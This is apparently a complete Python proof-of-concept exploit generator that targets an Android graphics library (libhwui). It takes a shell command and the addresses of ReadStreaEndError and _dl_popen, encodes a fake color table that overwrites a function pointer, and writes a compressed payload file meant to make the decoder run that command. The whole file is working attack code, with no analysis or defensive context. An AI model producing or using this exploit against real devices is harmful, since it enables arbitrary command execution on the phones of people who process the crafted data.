import struct
import sys
import zlib

def main(argv):
  if len(argv) != 5:
    print("Usage: %s <output file> <system command> <libhwui!ReadStreaEndError> <linker64!_dl_popen>" % argv[0])
    return

  BPP = 4
  COLORS = 38
  OUTPUT_FILE = argv[1]
  COMMAND = bytearray(argv[2], encoding='ascii')
  ADDR_ReadStreaEndError = int(argv[3], 16)
  ADDR_dl_popen = int(argv[4], 16)

  assert(len(COMMAND) < 24)

  payload = (COMMAND.ljust(24, b"\x00") + struct.pack("<Q", ADDR_dl_popen)).ljust(COLORS * BPP, b"\xcc")

  table = [0] * (COLORS * BPP)

  for i in range(COLORS):
    table[i + COLORS * 0] = payload[i * BPP + 3]
    table[i + COLORS * 1] = payload[i * BPP + 2]
    table[i + COLORS * 2] = payload[i * BPP + 1]
    table[i + COLORS * 3] = payload[i * BPP + 0]

  table = table[:-8] + list(struct.pack("<Q", ADDR_ReadStreaEndError))

  for i in reversed(range(1, COLORS)):
    table[i + COLORS * 0] -= table[i + COLORS * 0 - 1]
    table[i + COLORS * 1] -= table[i + COLORS * 1 - 1]
    table[i + COLORS * 2] -= table[i + COLORS * 2 - 1]
    table[i + COLORS * 3] -= table[i + COLORS * 3 - 1]

  output_data = bytes(map(lambda x: (x & 255), table))
  compressed = zlib.compress(output_data)

  with open(OUTPUT_FILE, "w+b") as f:
    f.write(compressed)

if __name__ == "__main__":
  main(sys.argv)
